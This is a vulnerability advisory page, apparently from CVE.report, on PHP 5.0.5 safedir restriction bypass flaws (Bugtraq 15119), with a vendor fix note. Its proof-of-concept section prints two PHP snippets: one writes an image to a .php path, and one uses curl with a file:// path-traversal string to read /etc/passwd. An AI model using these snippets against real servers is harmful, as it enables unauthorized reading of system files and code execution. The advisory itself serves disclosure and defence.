PHP Safedir Restriction Bypass Vulnerabilities

BID:15119

Info

PHP Safedir Restriction Bypass Vulnerabilities

Bugtraq ID: 15119
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 17 2005 12:00AM
Updated: Oct 17 2005 12:00AM
Credit: The discoverer of these vulnerabilities is currently unknown.
Vulnerable: PHP PHP 5.0.5
Not Vulnerable: PHP PHP 5.1

Discussion

PHP Safedir Restriction Bypass Vulnerabilities

PHP is prone to multiple vulnerabilities that permit an attacker to bypass the 'safedir' directory restriction.

An attacker can exploit these vulnerabilities to possible execute arbitrary code currently existing on a vulnerable system, or to retrieve the contents of arbitrary files, all in the security context of the Web server process.

Information obtained may aid in further attacks against the affected system; other attacks are also possible.

These issues have been addressed in the latest CVS version.

Exploit / POC

PHP Safedir Restriction Bypass Vulnerabilities

No exploit is required.

The following proof of concepts are available:
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");

$file=curl_exec($ch);

echo $file;

?>

Solution / Fix

PHP Safedir Restriction Bypass Vulnerabilities

Solution:
The vendor has addressed this issue in PHP version 5.1:


PHP PHP 5.0.5

References

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report